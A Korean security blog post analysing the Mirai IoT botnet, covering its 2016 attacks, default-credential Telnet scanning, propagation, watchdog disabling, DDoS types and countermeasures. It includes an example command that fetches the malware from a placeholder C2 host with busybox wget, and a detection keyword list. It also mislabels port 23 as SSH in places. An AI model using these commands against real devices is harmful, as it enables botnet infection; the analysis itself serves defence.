1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

+ Recent posts